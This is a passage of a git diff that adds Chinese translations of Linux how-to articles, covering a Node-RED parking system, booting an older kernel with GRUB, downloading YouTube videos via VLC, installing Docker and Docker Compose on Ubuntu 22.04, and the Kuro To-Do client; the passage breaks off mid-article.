节点的编辑窗口,操作Action设为 “JSON字符串与对象互转Convert between JSON String & Object”,参考图 11。 + +![Figure 11: JSON node property configurations][14] + +函数function 节点的配置如图 12 所示。 + +![Figure 12: Function node property configurations][15] + +在 http 响应http response 节点,编辑属性 名称name 为 “已提交项目Project Submitted”。 + +![Figure 13: Http response node property configurations][16] + +> 注意:添加带有评论的评论节点作为 “登录表单” 和 “提交表单”。 + +![Figure 14: Debug node property configurations][17] + +### 用户界面的控制面板 + +当用户单击 提交Submit,给出的数据将显示在用户界面和调试节点。如果单击 重置Reset,详细信息将被清除,允许用户输入新的详细信息(图15)。 + +![Figure 15: User login UI][18] + +地铁停车费率通过超链接提供,收费表在用户界面显示。因此,汽车智能停车系统通过适当的超链接实现自动化,展示地铁站的停车费。该自动化系统的最终输出可以在 Node-RED 控制面板的用户界面和调试监控器调取和展示。 + +![Figure 16: Metro parking tariff][19] + +-------------------------------------------------------------------------------- + +via: https://www.opensourceforu.com/2022/06/build-a-smart-parking-system-for-a-metro-station/ + +作者:[Dr Maheswari R.][a] +选题:[lkxed][b] +译者:[Maisie-x](https://github.com/Maisie-x) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.opensourceforu.com/author/dr-maheswari-r/ +[b]: https://github.com/lkxed +[1]: https://www.opensourceforu.com/wp-content/uploads/2022/04/Smart-car-parking.jpg +[2]: https://www.opensourceforu.com/wp-content/uploads/2022/04/table-function-node-red.jpg +[3]: https://www.opensourceforu.com/wp-content/uploads/2022/04/table-function-node-red.jpg +[4]: https://www.opensourceforu.com/wp-content/uploads/2022/04/Figure-1-Web-Application-Programming-Interface300.jpg +[5]: https://www.opensourceforu.com/wp-content/uploads/2022/04/Figure-2-Login-Form-Flow-Diagram300.jpg +[6]: https://www.opensourceforu.com/wp-content/uploads/2022/04/Figure-3-Submission-Form-Flow-Diagram300.jpg +[7]: https://www.opensourceforu.com/wp-content/uploads/2022/04/Figure-4-Login-Form-of-Metro-Smart-Car-Parking300.jpg +[8]: https://www.opensourceforu.com/wp-content/uploads/2022/04/Figure-5-Submission-Form-of-Metro-Smart-Car-Parking300.jpg +[9]: https://www.opensourceforu.com/wp-content/uploads/2022/04/Figure-6-Http-in-Node-Property-Configurations300.jpg +[10]: https://www.opensourceforu.com/wp-content/uploads/2022/04/Figure-7-Function-Node-Property-Configurations300.jpg +[11]: https://www.opensourceforu.com/wp-content/uploads/2022/04/Figure-8-Template-Node-Property-Configurations300.jpg +[12]: https://www.opensourceforu.com/wp-content/uploads/2022/04/Figure-9-Template-Node-Property-Configurations300.jpg +[13]: https://www.opensourceforu.com/wp-content/uploads/2022/04/Figure-10-Http-in-Node-Property-Configurations300.jpg +[14]: https://www.opensourceforu.com/wp-content/uploads/2022/04/Figure-11-Json-Node-Property-Configurations300.jpg +[15]: https://www.opensourceforu.com/wp-content/uploads/2022/04/Figure-12-Function-Node-Property-Configurations300.jpg +[16]: https://www.opensourceforu.com/wp-content/uploads/2022/04/Figure-13-Http-Response-Node-Property-Configurations300.jpg +[17]: https://www.opensourceforu.com/wp-content/uploads/2022/04/Figure-14-Debug-Node-Property-Configurations300.jpg +[18]: https://www.opensourceforu.com/wp-content/uploads/2022/04/Figure-15-User-Login-UI300.jpg +[19]: https://www.opensourceforu.com/wp-content/uploads/2022/04/Figure-16-Parking-Tariff-Metro300.jpg diff --git a/published/202207/20220623 How to Boot into an Older Kernel By Default in Ubuntu and Other Linux.md b/published/202207/20220623 How to Boot into an Older Kernel By Default in Ubuntu and Other Linux.md new file mode 100644 index 0000000000..6e74655d55 --- /dev/null +++ b/published/202207/20220623 How to Boot into an Older Kernel By Default in Ubuntu and Other Linux.md @@ -0,0 +1,132 @@ +[#]: subject: "How to Boot into an Older Kernel By Default in Ubuntu and Other Linux" +[#]: via: "https://itsfoss.com/boot-older-kernel-default/" +[#]: author: "Abhishek Prakash https://itsfoss.com/author/abhishek/" +[#]: collector: "lkxed" +[#]: translator: "hanszhao80" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14843-1.html" + +如何默认启动到 Linux 系统的旧内核 +====== + +![](https://img.linux.net.cn/data/attachment/album/202207/19/142100e4ympeo7y5w6pwvo.jpg) + +这是一个可能的情景。你的系统收到了内核更新,但不知何故,事情不像以前那样顺利。 + +你意识到,如果你启动到较旧的内核(是的,你可以降级内核),一切都会恢复正常。 + +高兴之余你会觉得有点儿不爽。因为你不得不在每次启动时手动选择较旧的内核。 + +一位年长的读者遇到了这个问题。[Linux Mint][1] 中的新内核更新没有按预期工作。启动到较旧的内核“修复”了问题,但麻烦的是在每次启动时要去手动选择较旧的内核。 + +删除新内核而使用旧内核不是一个好主意,因为新内核将会在下一次系统更新时被安装使用。 + +因此,我建议设置成默认启动到较旧的 Linux 内核。怎么做?这就是我将在本教程中向你展示的内容。 + +### 启动至较旧的 Linux 内核 + +你可能不了解,你的 Linux 发行版会在你的系统上安装多个 Linux 内核。不信?使用以下命令 [列出 Ubuntu 中已安装的内核][2]: + +``` +apt list --installed | grep linux-image +``` + +当你升级系统时会获得一个新版本的内核,这时你的系统会自动选择启动至最新的可用内核。 + +在 [grub][3] 屏幕中,你可以转到高级选项Advanced option(较旧的 Linux 版本): + +![ubuntu grub][4] + +在这里,你可以看到要启动的可用内核。选择较旧的(不带恢复选项recovery option 的条目): + +![grub 高级选项][5] + +你不会注意到任何显示的差异。你的文件和应用程序保持不变。 + +现在你已经启动到旧内核,是时候让你的系统自动启动到它了。 + +### 使旧内核成为默认启动项 + +如果你乐于使用 Linux 终端和命令,你可以修改 `/etc/default/grub` 文件并在其中添加以下行: + +``` +GRUB_DEFAULT=saved +GRUB_SAVEDEFAULT=true +``` + +然后使用如下命令 [更新 GRUB][6]: + +``` +sudo update-grub +``` + +你在这里所做的是告诉你的系统将当前使用的启动项保存为将来运行 GRUB 的默认启动项。 + +然而,并不是每个人都善于使用命令行,因此我将专注于一个名为 [Grub Customizer][7] 的 GUI 工具。 + +#### 安装 Grub Customizer + +使用官方 PPA [在基于 Ubuntu 的发行版中安装 Grub Customizer][8]: + +``` +sudo add-apt-repository ppa:danielrichter2007/grub-customizer +sudo apt update +sudo apt install grub-customizer +``` + +对于其他发行版,请使用你的包管理器来安装此工具。 + +#### 使用 Grub Customizer 更改默认启动项 + +当你运行 Grub Customizer 时,它会显示可用的启动项。 + +![ubuntu 的 grub customizer][9] + +在这里你有两个选择。 + +**选择一:** 选择所需的内核项并使用箭头按钮(显示在顶部菜单上)将其向上移动。 + +![在 Ubuntu grub 将旧内核向上移动][10] + +**选择二:** 将先前的启动项previously booted entry设为默认启动项default entry。 + +![将当前启动项设为默认 Ubuntu 启动项][11] + +我建议使用第二个选择,因为即使有新的内核更新它也可以工作。 + +这样你就可以在 Ubuntu 或其他发行版中降级内核,甚至无需删除新内核版本。 + +请注意,像 Ubuntu 这样的发行版大部分一次只保留两个内核版本。因此,最终你首选的旧内核将在新的内核版本释出时被删除。 + +这个巧妙的技巧曾助我脱困。当时我 [在 Ubuntu 中安装最新的 Linux 内核][12] ,由于某种原因它与我的音频系统有些兼容问题。 + +无论是什么原因,你现在都知道如何自动启动到旧内核。 + +如果有问题或建议,请在评论区留言。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/boot-older-kernel-default/ + +作者:[Abhishek Prakash][a] +选题:[lkxed][b] +译者:[hanszhao80](https://github.com/hanszhao80) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/abhishek/ +[b]: https://github.com/lkxed +[1]: https://linuxmint.com/ +[2]: https://learnubuntu.com/list-installed-kernels/ +[3]: https://itsfoss.com/what-is-grub/ +[4]: https://itsfoss.com/wp-content/uploads/2022/06/ubuntu-grub.jpg +[5]: https://itsfoss.com/wp-content/uploads/2022/06/Grub-Advanced-Options.jpg +[6]: https://itsfoss.com/update-grub/ +[7]: https://itsfoss.com/customize-grub-linux/ +[8]: https://itsfoss.com/install-grub-customizer-ubuntu/ +[9]: https://itsfoss.com/wp-content/uploads/2022/06/grub-customizer-ubuntu.png +[10]: https://itsfoss.com/wp-content/uploads/2022/06/move-older-kernel-up-the-order-ubntu-grub.png +[11]: https://itsfoss.com/wp-content/uploads/2022/06/make-currently-booted-entry-as-default-ubuntu.png +[12]: https://itsfoss.com/upgrade-linux-kernel-ubuntu/ diff --git a/published/202207/20220625 Download YouTube Videos with VLC -Because, Why Not--.md b/published/202207/20220625 Download YouTube Videos with VLC -Because, Why Not--.md new file mode 100644 index 0000000000..d657e3a5f0 --- /dev/null +++ b/published/202207/20220625 Download YouTube Videos with VLC -Because, Why Not--.md @@ -0,0 +1,98 @@ +[#]: subject: "Download YouTube Videos with VLC (Because, Why Not?)" +[#]: via: "https://itsfoss.com/download-youtube-videos-vlc/" +[#]: author: "Community https://itsfoss.com/author/itsfoss/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14788-1.html" + +使用 VLC 下载 YouTube 视频 +====== + +![](https://img.linux.net.cn/data/attachment/album/202207/03/100812twzmm942m4o7lmzq.jpg) + +[VLC][1] 是 [Linux 和其他平台上最受欢迎的视频播放器][2]之一。 + +它不仅仅是一个视频播放器。它提供了许多多媒体和网络相关的功能。你会惊讶地 [了解 VLC 的能力][3]。 + +我将演示一个简单的 VLC 功能,即使用它下载 YouTube 视频。 + +是的。你可以在 VLC 中播放 YouTube 视频并下载它们。让我告诉你怎么做。(LCTT 校注:发布此文只探讨技术可行性。) + +### 使用 VLC 媒体播放器下载 YouTube 视频 + +现在,有一些方法可以 [下载 YouTube 视频][4]。使用浏览器扩展或使用专门的网站或工具。 + +但是如果你不想使用任何额外的东西,已经安装的 VLC 播放器可以用于此目的。 + +**重要提示:**在从 YouTube 复制链接之前,请确保从 YouTube 播放器中选择所需的视频质量,因为我们将获得与复制链接时流式传输视频相同的质量。 + +#### 步骤 1:获取所需视频的视频链接 + +你可以使用任何你喜欢的浏览器并从地址栏中复制视频链接。 + +![copy youtube link][5] + +#### 步骤 2:将复制的链接粘贴到网络流 + +“网络流Network Stream”选项位于“媒体Media”菜单下,这是我们顶部菜单栏的第一个选项。你也可以使用快捷方式 `CTRL + N` 打开网络流 。 + +![click on media and select network stream][6] + +现在,你只需粘贴复制的 YouTube 视频链接,然后单击播放按钮。我知道它只是在我们的 VLC 中播放视频,但还有一点额外的步骤可以让我们下载当前的流媒体视频。 + +![paste video link][7] + +#### 步骤 3:从编解码器信息中获取位置链接 + +在“编解码器信息Codec Information”下,我们会得到当前播放视频的位置链接。要打开编解码器信息,你可以使用快捷键 `CTRL + J` 或者你会在“工具Tools”菜单下找到编解码器信息选项。 + +![click on tools and then codec information][8] + +它将带来有关当前流媒体视频的详细信息。但我们需要的是“位置Location”。你只需复制位置链接,我们的任务就完成了 90%。 + +![copy location link][9] + +#### 步骤 4:将位置链接粘贴到新选项卡 + +打开任何你喜欢的浏览器,并将复制的位置链接粘贴到新选项卡,它将开始在浏览器中播放该视频。 + +现在,右键单击播放视频,你将看到“将视频另存为”的选项。 + +![click on save][10] + +它将打开文件管理器并询问你是否要在本地保存此视频。你还可以重命名该文件,默认情况下它将被命名为 “videoplayback.mp4”。 + +![showing file in folder][11] + +### 结论 + +如果你有互联网连接问题,或者如果你想保存一些视频以供将来观看,下载 YouTube 视频是有意义的。 + +当然,我们不鼓励盗版。此方法仅用于合理使用,请确保视频的创建者已允许该视频进行合理使用,并确保在将其用于其他地方之前将其归属于视频的原始所有者。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/download-youtube-videos-vlc/ + +作者:[Community][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/itsfoss/ +[b]: https://github.com/lkxed +[1]: https://www.videolan.org/vlc/ +[2]: https://itsfoss.com/video-players-linux/ +[3]: https://itsfoss.com/vlc-pro-tricks-linux/ +[4]: https://itsfoss.com/download-youtube-videos-ubuntu/ +[5]: https://itsfoss.com/wp-content/uploads/2022/06/copy-Youtube-link-800x190.jpg +[6]: https://itsfoss.com/wp-content/uploads/2022/06/click-on-media-and-select-network-stream.png +[7]: https://itsfoss.com/wp-content/uploads/2022/06/paste-video-link.png +[8]: https://itsfoss.com/wp-content/uploads/2022/06/click-on-tools-and-then-codec-information-800x249.png +[9]: https://itsfoss.com/wp-content/uploads/2022/06/copy-location-link.png +[10]: https://itsfoss.com/wp-content/uploads/2022/06/click-on-save-800x424.jpg +[11]: https://itsfoss.com/wp-content/uploads/2022/06/showing-file-in-folder-800x263.png diff --git a/published/202207/20220627 How to Install Docker And Docker Compose In Ubuntu 22.04 LTS.md b/published/202207/20220627 How to Install Docker And Docker Compose In Ubuntu 22.04 LTS.md new file mode 100644 index 0000000000..0c483c7203 --- /dev/null +++ b/published/202207/20220627 How to Install Docker And Docker Compose In Ubuntu 22.04 LTS.md @@ -0,0 +1,388 @@ +[#]: subject: "How to Install Docker And Docker Compose In Ubuntu 22.04 LTS" +[#]: via: "https://ostechnix.com/install-docker-ubuntu/" +[#]: author: "sk https://ostechnix.com/author/sk/" +[#]: collector: "lkxed" +[#]: translator: "Donkey-Hao" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14871-1.html" + +如何在 Ubuntu 22.04 LTS 中安装 Docker 和 Docker Compose +====== + +![](https://img.linux.net.cn/data/attachment/album/202207/28/142549iwrj25mw9turhc9o.jpg) + +> 在 Ubuntu 中使用 Docker Compose 安装 Docker 引擎的分步指导。 + +在这篇文章中,我们将会明白 Docker 是什么,如何 **在 Ubuntu 中安装 Docker 引擎** 。此外,我们也将会明白如何 **安装 Docker Compose** ,它是一个定义并运行多容器的 Docker 应用。 + +我们已经在 Ubuntu 22.04 LTS 中正式的测试了这份指南。然而,它也应该对旧版本如 20.04 LTS 和 18.04 LTS 有效。为了更好的安全性和稳定性,我推荐你使用最新的版本 —— Ubuntu 22.04 LTS 。 + +### 什么是 Docker ? + +**Docker** 是一个快捷、轻便的系统级虚拟化技术,开发者和系统管理员可以使用它构建具备所有必要依赖项的应用程序,并将其作为一个包发布。 + +Docker 与其他如 VMWare 、Xen 、以及 VirtualBox 等工具的虚拟化方式不同,每个虚拟机不需要单独的客户操作系统。 + +所有的 Docker 容器有效地共享同一个主机系统内核。每个容器都在同一个操作系统中的隔离用户空间中运行。 + +Docker 容器可以在任何 Linux 版本上运行。比如说你使用 Fedora ,我用 Ubuntu 。我们能相互开发、共享并分发 Docker 镜像。 + +你无需担心操作系统、软件以及自定义设置,任何事都不用担心。只要我们的主机安装了 Docker ,就能持续开发。简言之,Docker 能够在任何地方运行! + +前文中你读到了两个词:**Docker 镜像** 和 **Docker 容器** ,或许你在想它们的区别。 + +通俗地说,Docker 镜像是一个描述容器应该如何表现的文件,而 Docker 容器是 Docker 镜像的运行(或停止)状态。 + +希望你能够理解 Docker 的基础概念。更多细节,你可以参考文章末尾的 Docker 官方指导手册。 + +### Docker 依赖项 + +为了安装并配置 Docker ,你的系统必须满足下列最低要求: + +1. 64 位 Linux 或 Windows 系统 +2. 如果使用 Linux ,内核版本必须不低于 3.10 +3. 能够使用 `sudo` 权限的用户 +4. 在你系统 BIOS 上启用了 VT(虚拟化技术)支持 on your system BIOS(参考: [如何查看 CPU 支持 虚拟化技术(VT)][1]) +5. 你的系统应该联网 + +在 Linux ,在终端上运行以下命令验证内核以及架构详细信息: + +``` +$ uname -a +``` + +输出样例: + +``` +Linux Ubuntu22CT 5.15.35-3-pve #1 SMP PVE 5.15.35-6 (Fri, 17 Jun 2022 13:42:35 +0200) x86_64 x86_64 x86_64 GNU/Linux +``` + +正如上面你看到的那样,我的 Ubuntu 系统内核版本是 **5.15.35-3-pve** 并且系统架构是 **64 位**(**x86_64 x86_64 x86_64 GNU/Linux**)。 + +> **注意:** 这里,我在 [Proxmox][2] 中使用 Ubuntu 22.04 容器。这是你看到上方内核版本中有 “pve” 字符的原因。如果你正在使用 Ubuntu 实体(或者虚拟)机,你将看到系统版本为 **5.15.35-3-generic** 。 + +内核版本需要不低于最低要求的版本,并且是 64 位机器。这样不会有任何问题,我们能顺利安装并使用 Docker 。 + +请注意你使用哪一个 Ubuntu 系统不重要。并且你使用 Ubuntu 桌面或服务器版本,亦或者其他 Ubuntu 变种如 Lubuntu 、Kubuntu 、Xubuntu ,都不重要。 + +只要你的系统内核版本不低于 3.10 ,并且是 64 位系统,Docker 都会正常运行。 + +### 在 Ubuntu 22.04 LTS 中安装 Docker + +首先,更新你的 Ubuntu 系统。 + +#### 1、更新 Ubuntu + +打开终端,依次运行下列命令: + +``` +$ sudo apt update +$ sudo apt upgrade +$ sudo apt full-upgrade +``` + +#### 2、添加 Docker 库 + +首先,安装必要的证书并允许 apt 包管理器使用以下命令通过 HTTPS 使用存储库: + +``` +$ sudo apt install apt-transport-https ca-certificates curl software-properties-common gnupg lsb-release +``` + +然后,运行下列命令添加 Docker 的官方 GPG 密钥: + +``` +$ curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo gpg --dearmor -o /usr/share/keyrings/docker-archive-keyring.gpg +``` + +添加 Docker 官方库: + +``` +$ echo "deb [arch=$(dpkg --print-architecture) signed-by=/usr/share/keyrings/docker-archive-keyring.gpg] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable" | sudo tee /etc/apt/sources.list.d/docker.list > /dev/null +``` + +使用命令更新 Ubuntu 源列表: + +``` +$ sudo apt update +``` + +#### 3、安装 Docker + +最后,运行下列命令在 Ubuntu 22.04 LTS 服务器中安装最新 Docker CE: + +``` +$ sudo apt install docker-ce docker-ce-cli containerd.io docker-compose-plugin +``` + +![Install Docker In Ubuntu][3] + +当然你也可以安装其他版本 Docker 。运行下列命令检查可以安装的 Docker 版本: + +``` +$ apt-cache madison docker-ce +``` + +输出样例: + +``` +docker-ce | 5:20.10.17~3-0~ubuntu-jammy | https://download.docker.com/linux/ubuntu jammy/stable amd64 Packages +docker-ce | 5:20.10.16~3-0~ubuntu-jammy | https://download.docker.com/linux/ubuntu jammy/stable amd64 Packages +docker-ce | 5:20.10.15~3-0~ubuntu-jammy | https://download.docker.com/linux/ubuntu jammy/stable amd64 Packages +docker-ce | 5:20.10.14~3-0~ubuntu-jammy | https://download.docker.com/linux/ubuntu jammy/stable amd64 Packages +docker-ce | 5:20.10.13~3-0~ubuntu-jammy | https://download.docker.com/linux/ubuntu jammy/stable amd64 Packages +``` + +你可以挑选上面列表中的任何版本进行安装。例如,安装 **5:20.10.16~ 3-0 ~ubuntu-jammy** 这个版本,运行: + +``` +$ sudo apt install docker-ce=5:20.10.16~3-0~ubuntu-jammy docker-ce-cli=5:20.10.16~3-0~ubuntu-jammy containerd.io +``` + +安装完成后,运行如下命令验证 Docker 服务是否在运行: + +``` +$ systemctl status docker +``` + +你会看到类似下面的输出: + +``` +* docker.service - Docker Application Container Engine + Loaded: loaded (/lib/systemd/system/docker.service; enabled; vendor preset: enabled) + Active: active (running) since Mon 2022-06-27 13:07:43 UTC; 3min 4s ago +TriggeredBy: * docker.socket + Docs: https://docs.docker.com + Main PID: 2208 (dockerd) + Tasks: 8 + Memory: 29.6M + CPU: 126ms + CGroup: /system.slice/docker.service + `-2208 /usr/bin/dockerd -H fd:// --containerd=/run/containerd/containerd.sock + +Jun 27 13:07:43 Ubuntu22CT dockerd[2208]: time="2022-06-27T13:07:43.071453522Z" level=info msg="ccResolverWrapper: sending update to cc: {[{unix:> +Jun 27 13:07:43 Ubuntu22CT dockerd[2208]: time="2022-06-27T13:07:43.071459974Z" level=info msg="ClientConn switching balancer to \"pick_first\"" > +Jun 27 13:07:43 Ubuntu22CT dockerd[2208]: time="2022-06-27T13:07:43.130989294Z" level=info msg="Loading containers: start." +Jun 27 13:07:43 Ubuntu22CT dockerd[2208]: time="2022-06-27T13:07:43.187439756Z" level=info msg="Default bridge (docker0) is assigned with an IP a> +Jun 27 13:07:43 Ubuntu22CT dockerd[2208]: time="2022-06-27T13:07:43.235966874Z" level=info msg="Loading containers: done." +Jun 27 13:07:43 Ubuntu22CT dockerd[2208]: time="2022-06-27T13:07:43.240149866Z" level=warning msg="Not using native diff for overlay2, this may c> +Jun 27 13:07:43 Ubuntu22CT dockerd[2208]: time="2022-06-27T13:07:43.240281966Z" level=info msg="Docker daemon" commit=a89b842 graphdriver(s)=over> +Jun 27 13:07:43 Ubuntu22CT dockerd[2208]: time="2022-06-27T13:07:43.240386856Z" level=info msg="Daemon has completed initialization" +Jun 27 13:07:43 Ubuntu22CT systemd[1]: Started Docker Application Container Engine. +Jun 27 13:07:43 Ubuntu22CT dockerd[2208]: time="2022-06-27T13:07:43.276336600Z" level=info msg="API listen on /run/docker.sock" +``` + +好极了!Docker 服务已启动并运行! + +如果没有运行,运行以下命令运行 Docker 服务: + +``` +$ sudo systemctl start docker +``` + +使 Docker 服务在每次重启时自动启动: + +``` +$ sudo systemctl enable docker +``` + +可以使用以下命令查看已安装的 Docker 版本: + +``` +$ sudo docker version +``` + +输出样例: + +``` +Client: Docker Engine - Community + Version: 20.10.17 + API version: 1.41 + Go version: go1.17.11 + Git commit: 100c701 + Built: Mon Jun 6 23:02:46 2022 + OS/Arch: linux/amd64 + Context: default + Experimental: true + +Server: Docker Engine - Community + Engine: + Version: 20.10.17 + API version: 1.41 (minimum version 1.12) + Go version: go1.17.11 + Git commit: a89b842 + Built: Mon Jun 6 23:00:51 2022 + OS/Arch: linux/amd64 + Experimental: false + containerd: + Version: 1.6.6 + GitCommit: 10c12954828e7c7c9b6e0ea9b0c02b01407d3ae1 + runc: + Version: 1.1.2 + GitCommit: v1.1.2-0-ga916309 + docker-init: + Version: 0.19.0 + GitCommit: de40ad0 +``` + +![Check Docker Version][4] + +#### 4、测试 Docker + +让我们继续,测试 Docker 是否运行正常: + +运行: + +``` +$ sudo docker run hello-world +``` + +上述命令会下载一个 Docker 测试镜像,并在容器内执行一个 “hello_world” 样例程序。 + +如果你看到类似下方的输出,那么祝贺你!Docker 正常运行在你的 Ubuntu 系统中了。 + +``` +Unable to find image 'hello-world:latest' locally +latest: Pulling from library/hello-world +2db29710123e: Pull complete +Digest: sha256:13e367d31ae85359f42d637adf6da428f76d75dc9afeb3c21faea0d976f5c651 +Status: Downloaded newer image for hello-world:latest + +Hello from Docker! +This message shows that your installation appears to be working correctly. + +To generate this message, Docker took the following steps: + 1. The Docker client contacted the Docker daemon. + 2. The Docker daemon pulled the "hello-world" image from the Docker Hub. + (amd64) + 3. The Docker daemon created a new container from that image which runs the + executable that produces the output you are currently reading. + 4. The Docker daemon streamed that output to the Docker client, which sent it + to your terminal. + +To try something more ambitious, you can run an Ubuntu container with: + $ docker run -it ubuntu bash + +Share images, automate workflows, and more with a free Docker ID: + https://hub.docker.com/ + +For more examples and ideas, visit: + https://docs.docker.com/get-started/ +``` + +![Run Hello World Docker Container][5] + +很好!可以使用 Docker 了。 + +#### 5、作为非 root 用户运行 Docker (选做) + +默认情况下,Docker 守护进程绑定到 Unix 套接字而不是 TCP 端口。由于 **Unix 套接字由 root 用户拥有**,Docker 守护程序将仅以 root 用户身份运行。因此,普通用户无法执行大多数 Docker 命令。 + +如果你想要在 Linux 中作为非 root 用户运行 Docker ,参考下方链接: + +* [如何在 Linux 中作为非 root 用户运行 Docker][6] + +我个人不这样做也**不推荐**你这么做。如果你不会在互联网上暴露你的系统,那没问题。然而,不要在生产系统中以非 root 用户身份运行 Docker 。 + +### 在 Ubuntu 中安装 Docker Compose + +**Docker Compose** 是一个可用于定义和运行多容器 Docker 应用程序的工具。使用 Compose,你可以使用 Compose 文件来配置应用程序的服务。然后,使用单个命令,你可以从配置中创建和启动所有服务。 + +下列任何方式都可以安装 Docker Compose 。 + +#### 方式 1、使用二进制文件安装 Docker Compose + +从 [这里][7] 下载最新 Docker Compose 。 + +当我在写这篇文章时,最新版本是 **2.6.1** 。 + +运行下列命令安装最新稳定的 Docker Compose 文件: + +``` +$ sudo curl -L "https://github.com/docker/compose/releases/download/v2.6.1/docker-compose-$(uname -s)-$(uname -m)" -o /usr/local/bin/docker-compose +``` + +如果有更新版本,只需要将上述命令中的 **v2.6.1** 替换为最新的版本号即可。请不要忘记数字前的 **"v"** 。 + +最后,使用下列命令赋予二进制文件可执行权限: + +``` +$ sudo chmod +x /usr/local/bin/docker-compose +``` + +运行下列命令检查安装的 Docker Compose 版本: + +``` +$ docker-compose version +Docker Compose version v2.6.1 +``` + +#### 方式 2、使用 Pip 安装 Docker Compose + +或许,我们可以使用 **Pip** 安装 Docker Compose 。Pip 是 Python 包管理器,用来安装使用 Python 编写的应用程序。 + +参考下列链接安装 Pip 。 + +* [如何使用 Pip 管理 Python 包][8] + +安装 Pip 后,运行以下命令安装 Docker Compose。下列命令对于所有 Linux 发行版都是相同的! + +``` +$ pip install docker-compose +``` + +安装 Docker Compose 后,使用下列命令检查版本: + +``` +$ docker-compose --version +``` + +你将会看到类似下方的输出: + +``` +docker-compose version 2.6.1, build 8a1c60f6 +``` + +恭喜你!我们已经成功安装了 Docker 社区版和 Docker Compose 。 + +安装了 Docker,然后呢?查看本系列的下一篇文章,了解 Docker 基础知识。 + +* [开始使用 Docker][9] + +要在基于 RPM 的系统(例如 RHEL、Fedora、CentOS、AlmaLinux、Rocky Linux 和 openSUSE)中安装 Docker,请参考以下链接。 + +* [在 CentOS 中安装 Docker][10] + +### 总结 + +在这篇教程中,我们讨论了 Docker 是什么,如何在 Ubuntu 22.04 LTS Jammy Jellyfish 中安装 Docker 。然后学习了如何通过运行 hello-world Docker 镜像测试 Docker 是否成功安装。最后,我们通过使用两种不同的方式安装 Docker Compose 作为本教程的结尾。 + +### 资料 + +* [Docker 主页][11] + +-------------------------------------------------------------------------------- + +via: https://ostechnix.com/install-docker-ubuntu/ + +作者:[sk][a] +选题:[lkxed][b] +译者:[Donkey](https://github.com/Donkey-Hao) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://ostechnix.com/author/sk/ +[b]: https://github.com/lkxed +[1]: https://ostechnix.com/how-to-find-if-a-cpu-supports-virtualization-technology-vt/ +[2]: https://ostechnix.com/install-proxmox-ve/ +[3]: https://ostechnix.com/wp-content/uploads/2022/06/Install-Docker-In-Ubuntu.png +[4]: https://ostechnix.com/wp-content/uploads/2022/06/Check-Docker-Version.png +[5]: https://ostechnix.com/wp-content/uploads/2022/06/Run-Hello-World-Docker-Container.png +[6]: https://ostechnix.com/how-to-run-docker-as-non-root-user-in-linux/ +[7]: https://github.com/docker/compose/releases +[8]: https://ostechnix.com/manage-python-packages-using-pip/ +[9]: https://ostechnix.com/getting-started-with-docker/ +[10]: https://ostechnix.com/install-docker-centos/ +[11]: https://www.docker.com/ diff --git a/published/202207/20220627 Kuro- An Unofficial Microsoft To-Do Desktop Client for Linux.md b/published/202207/20220627 Kuro- An Unofficial Microsoft To-Do Desktop Client for Linux.md new file mode 100644 index 0000000000..f4257ab223 --- /dev/null +++ b/published/202207/20220627 Kuro- An Unofficial Microsoft To-Do Desktop Client for Linux.md @@ -0,0 +1,100 @@ +[#]: subject: "Kuro: An Unofficial Microsoft To-Do Desktop Client for Linux" +[#]: via: "https://itsfoss.com/kuro-to-do-app/" +[#]: author: "Ankush Das https://itsfoss.com/author/ankush/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14795-1.html" + +Kuro:非官方的微软 To-Do Linux 桌面客户端 +====== + +![](https://img.linux.net.cn/data/attachment/album/202207/05/151405wsp6k55rrzdkk6dl.jpg) + +> 微软说他们热爱 Linux 和开源,但我们仍然没有得到对其许多产品的 Linux 原生支持。 + +虽然他们可能在努力增加更多的支持,比如 [可以在 Linux 上安装微软 Edge 浏览器][1],但对于一个价值几万亿美元的公司来说,这并不出色。 + +同样,微软的 To-Do 服务也是一个受欢迎的服务,它取代了 2020 年关闭的 Wunderlist。 + +如果你不知道的话,我们有很多 [可用于 Linux 的待办事项列表应用][2]。因此,如果你想脱离微软 To-Do,你有选择。 + +微软 To-Do 是一个基于云的任务管理应用,让你从手机、桌面和网络组织你的任务。它可以在 Windows、Mac 和 Android 上下载。 + +那么,如果你不愿意使用网页浏览器而使用一个单独的应用,你在 Linux 上能做什么呢? + +Kuro 派上用场了。 + +### Kuro:非官方的开源微软 To-Do 应用 + +![kuro todo][3] + +Kuro 是一个非官方的开源应用,它为你提供了微软 To-Do 在 Linux 上的桌面体验和一些额外的功能。 + +它是 Ao 的一个分叉,Ao 是一个开源项目,逐渐成为它的解决方案。不幸的是,它不再积极维护了。所以,我遇到了一个似乎可以工作的新复刻。 + +![kuro todo options][4] + +Kuro 提供了一些额外的功能,可以让你在应用中切换主题,启用全局快捷方式等。 + +请注意,这个应用是相当新的,但有一个稳定版本可以试用。此外,开发者计划在不久的将来增加更多的主题和功能。 + +### Kuro 的功能 + +![kuro todo 1][5] + +如果你倾向于使用微软的服务(如 Outlook),它的 To-Do 应用应该是组织你的任务的一个完美选择。你甚至可以标记电子邮件以创建任务。 + +使用 Kuro 桌面客户端,你可以得到一些可配置的功能,包括: + +* 能够在启动时启动该程序。 +* 